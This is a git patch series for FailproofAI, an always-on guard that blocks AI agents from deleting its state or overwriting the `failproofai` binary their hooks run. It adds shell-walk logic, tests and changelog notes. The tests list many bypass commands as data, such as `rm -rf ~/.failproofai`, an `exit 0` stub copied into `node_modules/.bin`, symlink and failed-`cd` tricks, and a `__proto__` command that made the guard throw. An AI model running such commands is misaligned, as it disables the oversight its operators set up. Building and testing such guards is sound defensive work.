}; + return words; } /** @@ -1471,16 +1584,17 @@ function landsInDirectoryAs( const value = eq === -1 ? undefined : arg.slice(eq + 1); // GNU takes any unambiguous prefix of a long option: `--target DIR` is // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. - if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { + const option = longOptionOf(options, name); + if (option?.full === "target-directory") { directory = value ?? args[++i]; - } else if (name.length >= 4 && "no-target-directory".startsWith(name)) { - ontoItself = true; - } else if (name.length >= 3 && ("recursive".startsWith(name) || "archive".startsWith(name))) { + } else if (option?.value) { + if (value === undefined) i++; + } else if (option?.full === "recursive" || option?.full === "archive") { recursive = true; - } else if (head === "install" && name.length >= 2 && "directory".startsWith(name)) { + } else if (option?.full === "no-target-directory") { + ontoItself = true; + } else if (option?.full === "directory" && head === "install") { createsDirectories = true; - } else if (name.length >= 2 && options.long.some((long) => long.startsWith(name))) { - if (value === undefined) i++; } continue; } @@ -1721,15 +1835,28 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) if (stateVars.size === before) break; } + // Asked again and again for the same words (every check below, for the words + // as written and as expanded), so answered once per text. + const named = new Map(); + const globbed = new Map(); + const globNamesState = (token: string): boolean => { + let verdict = globbed.get(token); + if (verdict === undefined) globbed.set(token, (verdict = globCouldNameState(token))); + return verdict; + }; const namesState = (text: string): boolean => { - if (FAILPROOFAI_STATE_PATH_RE.test(text)) return true; - for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { - if (stateVars.has(name)) return true; + let verdict = named.get(text); + if (verdict !== undefined) return verdict; + verdict = FAILPROOFAI_STATE_PATH_RE.test(text); + for (const [, name] of verdict ? [] : text.matchAll(VAR_REFERENCE_RE)) { + if (stateVars.has(name)) verdict = true; } // Per token, not over the whole text: a glob compiled from a whole command // line matches nothing, and it is the individual operand — `~/.failproof*` // — that would expand onto the state. - return text.split(/\s+/).some((token) => globCouldNameState(unquotedToken(token))); + verdict ||= text.split(/\s+/).some((token) => globNamesState(unquotedToken(token))); + named.set(text, verdict); + return verdict; }; let cwdInState = false; @@ -1749,55 +1876,140 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments // with `.` and `..` resolved, because the patterns match the tail of a path // and an unbounded path made every later word slower to judge. - let shellDir = startDir ? shellPath(undefined, startDir) : undefined; + let shellDir = startDir ? shellTail(shellPath(undefined, startDir)) : undefined; // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) // may have put the shell in npm's bin directory, so until the next one it can // follow, a relative word is also judged as if it stood in an installed // location (`AS_IF_INSTALLED`). let lostTrack = false; - type Where = { dir: string | undefined; lost: boolean }; + type Where = { dir: string | undefined; lost: boolean; inState: boolean }; let previous: Where | null = null; const dirStack: Where[] = []; const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; - // A relative word read from where the shell stands, and `..` resolved in any. + const here = (): Where => ({ dir: shellDir, lost: lostTrack, inState: cwdInState }); + // A relative word read from where the shell stands, and `//`, `.` and `..` + // resolved in any. const inShell = (word: string): string => - relativeWord(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; - const judged = new Map(); - const judge = (path: string): boolean => { - let verdict = judged.get(path); - if (verdict === undefined) judged.set(path, (verdict = namesState(path))); - return verdict; - }; - const namesHere = (text: string): boolean => { - if (namesState(text)) return true; + relativeWord(word) && shellDir !== undefined + ? shellPath(shellDir, word) + : /\/\/|(?:^|\/)\.\.?(?:\/|$)/.test(word) + ? shellPath(undefined, word) || "." + : word; + const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text); + // Whether `text`, read from where the shell stands, names what `namesState` + // protects — asked apart from `namesState(text)` where the whole line has + // already been judged as written. + const resolvesOntoState = (text: string): boolean => { + // An option is not a path to read from where the shell stands. + if (text.startsWith("-")) return false; // Every pattern spells `failproof`, so only a word or a directory that - // does, or a glob that could, can resolve onto one. - if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; - if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => judge(dir + text)); + // does, or a glob that could, can resolve onto one. A glob as written is + // already tried against every candidate that starts with a relative + // directory, so it is read from where the shell stands only when that is a + // directory a candidate continues from by one name (`node_modules/.bin` + // and `fail*`), or when it climbs out with `..`. + const spellsName = /failproof/i.test(text) || /failproof/i.test(shellDir ?? ""); + if (!spellsName) { + if (!GLOB_METACHAR_RE.test(text)) return false; + const parent = (shellDir ?? "").slice((shellDir ?? "").lastIndexOf("/") + 1).toLowerCase(); + if (!lostTrack && !GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; + } + if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => namesState(dir + text)); const resolved = inShell(text); - return resolved !== text && judge(resolved); + return resolved !== text && namesState(resolved); }; // What the line assigns, so a word built from it is judged as the path it - // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the - // shell stands, `$HOME` is `~`. A variable the line never sets stays a - // reference, and a `cd` into one is a `cd` the walk cannot follow. + // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` and `~+` are + // where the shell stands, `~-` where it stood, `$HOME` is `~` unless the line + // sets it. A variable the line never sets stays a reference, and a `cd` into + // one is a `cd` the walk cannot follow. Every word is judged as written as + // well, so an assignment the shell never makes (`: D=x`) cannot hide one. const values = new Map(assignments); const expand = (word: string): string => { let out = word; + if (out.startsWith("~+") && shellDir !== undefined && !lostTrack) out = shellDir + out.slice(2); + else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), + name === "PWD" && shellDir !== undefined && !lostTrack ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); + // A value that refers to itself grows with every pass. + if (out.length > 4096) return word; } return out; }; - const moveTo = (to: Where) => { - previous = { dir: shellDir, lost: lostTrack }; - shellDir = to.dir; + // `full` is the directory before `shellTail` cuts it, so a deep path inside + // the state is still known to be inside it; `named` is the operand as + // written, judged when the walk cannot follow it. + const moveTo = (to: Where | { dir: string | undefined; lost: boolean; full?: string; named?: string }) => { + previous = here(); + shellDir = to.dir === undefined ? undefined : shellTail(to.dir); lostTrack = to.lost; - cwdInState = !to.lost && to.dir !== undefined && namesState(to.dir); + cwdInState = + "inState" in to + ? to.inState + : (!to.lost && to.dir !== undefined && namesState(to.full ?? to.dir)) || (to.named !== undefined && namesState(to.named)); cdParenDepth = cwdInState ? parenDepth : null; }; + const moveToWord = (target: string, named: string) => { + if (/\$|`/.test(target)) { + moveTo({ dir: undefined, lost: true, named }); + return; + } + const full = shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target); + moveTo({ dir: full, lost: lostTrack && relativeWord(target), full, named }); + }; + // `cd`, `pushd` and `popd` as bash runs them. A move that fails — `popd` on + // an empty stack, `cd -` with nowhere to go back to, `cd ""` — leaves the + // shell where it was, never somewhere safe. `+N` / `-N` count entries the + // way `dirs` lists them: the current directory first, then the stack from + // its top. `cd -` is `$OLDPWD` and a bare `cd` is `$HOME`, either of which + // the line may set itself. + const moveShell = (head: string, args: string[], expandedArgs: string[]) => { + const at = here(); + const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); + const named = k === -1 ? undefined : args[k]; + const operand = k === -1 ? undefined : expandedArgs[k]; + if (operand !== undefined && head !== "cd" && /^[+-]\d+$/.test(operand)) { + const entries = [at, ...[...dirStack].reverse()]; + const n = Number(operand.slice(1)); + const index = operand.startsWith("+") ? n : entries.length - 1 - n; + if (index < 0 || index >= entries.length) return; + if (head === "pushd") { + const rotated = [...entries.slice(index), ...entries.slice(0, index)]; + dirStack.splice(0, dirStack.length, ...rotated.slice(1).reverse()); + moveTo(rotated[0]); + } else if (entries.length > 1) { + const rest = entries.filter((_, i) => i !== index); + dirStack.splice(0, dirStack.length, ...rest.slice(1).reverse()); + if (index === 0) moveTo(rest[0]); + } + return; + } + if (head === "popd") { + const top = dirStack.pop(); + if (top) moveTo(top); + return; + } + if (head === "pushd" && operand === undefined) { + const top = dirStack.pop(); + if (top) { + dirStack.push(at); + moveTo(top); + } + return; + } + if (operand === "-") { + const oldpwd = values.get("OLDPWD"); + if (oldpwd !== undefined) moveToWord(expand(oldpwd), oldpwd); + else if (previous) moveTo(previous); + return; + } + if (operand === "") return; + if (head === "pushd") dirStack.push(at); + const target = operand ?? expand("$HOME"); + moveToWord(target, named ?? target); + }; // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do @@ -1818,56 +2030,37 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesHere(expand(target.replace(/^["']|["']$/g, "")))) return true; + const written = target.replace(/^["']|["']$/g, ""); + if (namesHere(written) || namesHere(expand(written))) return true; } for (const simple of simpleCommands) { - // Parentheses inside quotes open and close nothing, and a substitution's - // are not a subshell: `cd $(npm root)/.bin` moves this shell. - const shellText = withoutSubstitutions(simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); + // Parentheses inside quotes or escaped open and close nothing, and a + // substitution's are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/\\[()]|'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); parenDepth += (shellText.match(/\(/g) ?? []).length; - const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); - const words = lists[0]; + const words = commandWordList(simple); + const expanded = words.map(expand); + const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { if (parenDepth > 0) { - shellDirScopes.push({ depth: parenDepth, at: { dir: shellDir, lost: lostTrack }, previous, stack: dirStack.slice() }); - } - const at: Where = { dir: shellDir, lost: lostTrack }; - const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); - // A `popd`, a bare `pushd` or a `cd -` with nothing to return to fails - // and leaves the shell where it was. - if (head === "popd") { - const top = dirStack.pop(); - if (top) moveTo(top); - } else if (head === "pushd" && operand === undefined) { - // A bare `pushd` swaps the top two directories. - const top = dirStack.pop(); - if (top) { - dirStack.push(at); - moveTo(top); - } - } else if (operand === "-") { - if (previous) moveTo(previous); - } else { - if (head === "pushd") dirStack.push(at); - // No operand is home. - const target = operand ?? "~"; - moveTo( - /\$|`/.test(target) - ? { dir: undefined, lost: true } - : { dir: shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target), lost: lostTrack && relativeWord(target) }, - ); + shellDirScopes.push({ depth: parenDepth, at: here(), previous, stack: dirStack.slice() }); } + moveShell(head, words.slice(1), expanded.slice(1)); } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; } else if ( words.length > 0 && - (reachesState || lists.some((list) => list.some((w) => namesHere(w)))) && + // Operands only: the command word is a program, not a path written to. + // The line as written is `reachesState`; a word adds to it only by + // resolving from where the shell stands, or by what expansion made it. + (reachesState || + words.some((word, k) => k > 0 && (resolvesOntoState(word) || (expanded[k] !== word && namesHere(expanded[k]))))) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` @@ -1879,10 +2072,14 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) cwdInState = false; cdParenDepth = null; } + // Leaving a subshell puts back where the shell stood before it, inside + // the state included: `cd ~/.failproofai && (cd /tmp) && rm -rf *`. while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { const scope = shellDirScopes.pop()!; shellDir = scope.at.dir; lostTrack = scope.at.lost; + cwdInState = scope.at.inState; + cdParenDepth = cwdInState ? parenDepth : null; previous = scope.previous; dirStack.splice(0, dirStack.length, ...scope.stack); } @@ -1901,6 +2098,14 @@ const SHELL_DIR_SEGMENTS = 16; */ const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; +/** + * The directories a glob candidate continues from by one name: `.bin` and + * `bin` hold the entry, `node_modules` and `.pnpm` the package, `pnpm` is + * pnpm's home. Only from these can a relative glob that does not spell the + * name itself (`fail*`) land on installed code. + */ +const GLOB_PARENT_DIRECTORIES = new Set([".bin", "bin", "node_modules", ".pnpm", "pnpm"]); + /** * `text` without its `$(…)` command substitutions, so their parentheses are * not counted as a subshell's. One left open runs to the end of the text. @@ -1935,22 +2140,34 @@ function couldBeEntryName(name: string): boolean { /** * `word` read from directory `base` (as given when absolute, or with no base), - * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and - * cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected pattern - * matches the END of a path, so the dropped head never decides anything, and - * the cut keeps a script of a thousand `cd`s from growing every later word. + * with `//`, `.` and `..` resolved as text, the way a shell's logical `cd` + * does. */ function shellPath(base: string | undefined, word: string): string { + const joined = base === undefined ? word : `${base}/${word}`; + const absolute = joined.startsWith("/"); const parts: string[] = []; - for (const part of (base === undefined ? word : `${base}/${word}`).split("/")) { - if (part === ".") continue; - if (part === ".." && parts.length > 0 && parts[parts.length - 1] !== ".." && parts[parts.length - 1] !== "") { - parts.pop(); + for (const part of joined.split("/")) { + if (part === "" || part === ".") continue; + if (part === "..") { + if (parts.length > 0 && parts[parts.length - 1] !== "..") parts.pop(); + else if (!absolute) parts.push(part); continue; } parts.push(part); } - return parts.slice(-SHELL_DIR_SEGMENTS).join("/"); + return (absolute ? "/" : "") + parts.join("/"); +} + +/** + * A directory cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected + * pattern matches the END of a path, so the dropped head never decides + * anything, and the cut keeps a script of a thousand `cd`s from growing every + * later word it is joined to. + */ +function shellTail(path: string): string { + const parts = path.split("/"); + return parts.length > SHELL_DIR_SEGMENTS ? parts.slice(-SHELL_DIR_SEGMENTS).join("/") : path; } const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; From 479594020acf1804d31f89fe91a42b39992b0201 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:02:46 +0530 Subject: [PATCH 15/60] Close the walk gaps CodeRabbit found in the npx entry guard - A command word named like an Object property (`constructor`, `__proto__`) threw inside the guard, and the evaluator skips a policy that throws. The option table is a Map now, and a walk that throws denies instead. - A `cd` that may fail keeps the directory it left possible for whatever follows a `;`, `||`, `&` or newline; only `&&` waits for it. `popd`, `cd -` and a `cd` back to the session's own directory return somewhere that exists, so they do not. - `pushd -n` / `popd -n` change the stack only, and a `cd` in a pipeline stage moves nothing after it. - Writes follow symlinks: those on disk, as the file tools already do, and those the same line makes with `ln -s`. - A `..` that climbs above the sixteen directories the walk reads from is read from the whole path. - Shim globs (`failproofai.[c]md`) count as the entry, a trailing slash no longer hides a moved `.bin` directory, rsync no longer reads as making the destination a copy of a source directory, and outside a loop a variable is read as it stands at that point of the line. - The launcher check covers every event of every project-scope integration, and the docs say Pi's project hooks do not use npx. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 104 ++++- docs/policies/local-configuration.mdx | 2 +- src/hooks/builtin-policies.ts | 437 +++++++++++++++----- 4 files changed, 434 insertions(+), 111 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1868bf2da..c0ae4aea4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,7 +16,7 @@ - An install of failproofai fetches one third-party package, `sql.js`, pinned to an exact version with no dependencies or install script of its own; everything else it uses is compiled into its bundles at build time from `bun.lock`. It used to declare six caret ranges, so each `npm install -g failproofai` or `npx failproofai` resolved them, and posthog-node's own ranges under them, afresh: a malicious in-range release (posthog-node was hit by Shai-Hulud 2.0 in November 2025) reached every install made after it was published, and its install script ran there. posthog-node, yaml, smol-toml, jsonc-parser and html-to-image are devDependencies now, since nothing loaded them from `node_modules` at run time, so the pin holds whichever package manager installs failproofai, and an install downloads about 1.2 MB less. `bun run build` now fails first if a runtime dependency is a range, has dependencies of its own or an install script, if a bundle leaves a package external that the install would not carry, or if the package itself gains an install script, a peer dependency or an optional dependency other than the daemon packages (#1059) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd`, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 626e0961f..05d0ad1fa 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -135,6 +135,25 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs it("still allows other files through the same link", async () => { expect((await write(join(root, "proj", "tools", "bins", "my-script"))).decision).toBe("allow"); }); + + // The shell follows the same links the file tools do. + it.each([ + "printf x > tools/bins/failproofai", + "cp /tmp/stub.sh tools/bins/failproofai", + "cp /tmp/stage/failproofai tools/bins/", + "tee tools/bins/failproofai < /tmp/stub.sh", + "printf x > tools/hook", + ])("denies a shell write through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + expect(await bash(`cd ${join(root, "proj")} && ${command}`)).toBe("deny"); + }); + + it.each(["printf x > tools/bins/my-script", "cat tools/bins/failproofai", "ls -la tools/bins/ > listing.txt"])( + "still allows shell work through a link: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); }); // The entry, and nothing else that lives beside it or shares its name. @@ -344,6 +363,24 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["install --strip", "install --strip /tmp/stage/failproofai node_modules/.bin/"], // A program handed to a shell is judged as the command it is. ["bash -c around a copy", "bash -c 'cp /tmp/stub.sh node_modules/.bin/failproofai'"], + // A `cd` that fails leaves the shell where it was, and `;` runs the next + // command anyway. + ["a cd out of the state that may fail", "cd ~/.failproofai; cat config.json; cd /elsewhere; rm -rf *"], + // A `..` that climbs above the sixteen directories the walk reads from. + ["a climb above a deep cd", "cd node_modules/.bin && cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && printf x > ../../../../../../../../../../../../../../../../../failproofai"], + // Symlinks the same line makes, before any `lstat` could see them. + ["a write through a link the line makes to the directory", "ln -s /work/proj/node_modules/.bin /tmp/bins && printf x > /tmp/bins/failproofai"], + ["a write through a link the line makes to the entry", "ln -s /work/proj/node_modules/.bin/failproofai /tmp/hook && printf x > /tmp/hook"], + // In a loop, an assignment later on the line can come first. + ["a loop that assigns the directory after the copy", 'while :; do cp /tmp/x "$D/failproofai"; D=/work/proj/node_modules/.bin; done'], + // Shim names spelled with a glob, as a destination and as a source. + ["a glob for npm's cmd shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.[c]md"], + ["a glob source for npm's cmd shim", "cp /tmp/stage/failproofai.[c]md node_modules/.bin/"], + ["moving a .bin directory given with a trailing slash", "mv /tmp/x/.bin/ ~/node_modules/"], + // A command word that is also an Object property name once threw inside + // the guard, and a policy that throws is skipped. + ["a command named like an Object method", "constructor -v; cp /tmp/x node_modules/.bin/failproofai"], + ["a command named __proto__", "__proto__ -v; rm -rf ~/.failproofai"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -360,6 +397,25 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(cwd, command)).toBe("deny"); }); + // A move that can fail leaves the shell where it already was, and only + // `&&` makes the next command wait for it. + it.each([ + ["/work/proj/node_modules/.bin", "cd /nonexistent; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp || true; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp && true; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin/sub", "cd /tmp; cd ..; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /nonexistent; popd; printf x > failproofai"], + // `-n` changes the stack and leaves the shell where it is. + ["/work/proj/node_modules/.bin", "pushd -n /tmp; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "popd -n; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && cp /tmp/x ../../../../../../../../../../../../../../../../../failproofai"], + ["/work/proj", "ln -s node_modules/.bin bins; cp /tmp/stub.sh bins/failproofai"], + ["/work/proj", "ln -sfn node_modules/.bin bins && cp /tmp/failproofai bins/"], + ])("denies a write where the shell may still stand, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -418,10 +474,31 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a backup with a comment naming the state", "cp -r ~/.failproofai /tmp/bak # copy of ~/.failproofai"], ["a find whose comment names -delete", "find ~/.failproofai -name '*.log' -print # not -delete yet"], ["a read run through bash -c", "bash -c 'cat ~/.failproofai/policies-config.json'"], + // rsync puts a source directory inside the destination; it does not + // become npm's bin directory. + ["syncing a directory into the bin directory", "rsync -a /tmp/my-tool node_modules/.bin/"], + // Outside a loop the shell reads a variable as it stands at that point. + ["a variable assigned only after its use", 'D=/tmp; cp notes.txt "$D/failproofai"; D=/work/proj/node_modules/.bin'], + // Each stage of a pipeline is a subshell, so its cd moves nothing after it. + ["a cd in a pipeline stage", "cd node_modules/.bin | true; cp notes.txt failproofai"], + // `cd -` and `popd` return to where the shell already stood. + ["a cd - back out of the state", "cd ~/.failproofai; cat config.json; cd -; rm -rf node_modules"], + ["leaving through a link to elsewhere", "ln -s /work/proj/dist current && rm -rf current/x"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); + it.each([ + // The session's own directory exists, so a cd back to it does not fail. + ["/work/proj", "cd ~/.failproofai; cat config.json; cd /work/proj; rm -rf node_modules"], + ["/work/proj", "cd frontend; npm install; cd ..; rm -rf node_modules"], + ["/work/proj", "cd /tmp; printf x > notes.txt"], + ["/work/proj", "cd node_modules/.bin && ls -la && cd ../.. && rm -rf build"], + ["/work/proj", "pushd /tmp && make && popd && rm -rf out"], + ])("allows ordinary moves from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + it.each([ ["a checkout of failproofai itself", "/home/u/src/failproofai", "npm test"], ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], @@ -443,6 +520,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a script of 700 cd / build / cd ../.. steps", "bash <<'EOF'\n" + Array.from({ length: 700 }, (_, i) => `cd packages/pkg-${i}\nnpm run build\ncd ../..`).join("\n") + "\nEOF"], ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], + // Each `;` keeps the directories a failed cd would leave the shell in. + ["2,000 cds that may each fail", Array(2000).fill("cd a").join("; ") + "; ls"], + ["2,000 cds into globs that may each fail", Array(2000).fill("cd a*").join("; ") + "; ls"], + [ + "1,000 links and a write through each", + Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} /tmp/l${i}; printf x > /tmp/l${i}/f`).join("; "), + ], ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], // A value that refers to itself grew with every expansion pass. ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], @@ -461,18 +545,22 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs const names = new Set(); const viaNpx: string[] = []; const otherwise: string[] = []; + const mixed: string[] = []; for (const integration of listIntegrations()) { if (!integration.scopes.includes("project")) continue; - let found = false; - for (const eventType of integration.eventTypes) { + // Every event's entry, not just one: an event launched some other way + // would be a hook the guard was never checked against. + const launched = integration.eventTypes.map((eventType) => { const entry = JSON.stringify(integration.buildHookEntry("/opt/fp/bin/failproofai", eventType, "project")); - for (const [, name] of entry.matchAll(/npx -y (\S+)/g)) { - names.add(name); - found = true; - } - } - (found ? viaNpx : otherwise).push(integration.id); + const found = [...entry.matchAll(/npx -y (\S+)/g)].map(([, name]) => name); + for (const name of found) names.add(name); + return found.length > 0; + }); + if (launched.every(Boolean)) viaNpx.push(integration.id); + else if (launched.some(Boolean)) mixed.push(integration.id); + else otherwise.push(integration.id); } + expect(mixed).toEqual([]); // A new integration, or a new launcher (`npx --yes`, `bunx`), lands in one // of these lists and fails here until the guard is checked against it. expect(viaNpx.sort()).toEqual(["antigravity", "claude", "codex", "copilot", "cursor", "devin", "factory", "goose"]); diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 3f4f9e4ed..e61efb198 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,7 +22,7 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. -Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path (Pi's are the exception: its project file points at the extension inside the installed package). npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 1408fb607..8a436eaac 100644 --- a/src/hooks/builtin-policies.ts +++ 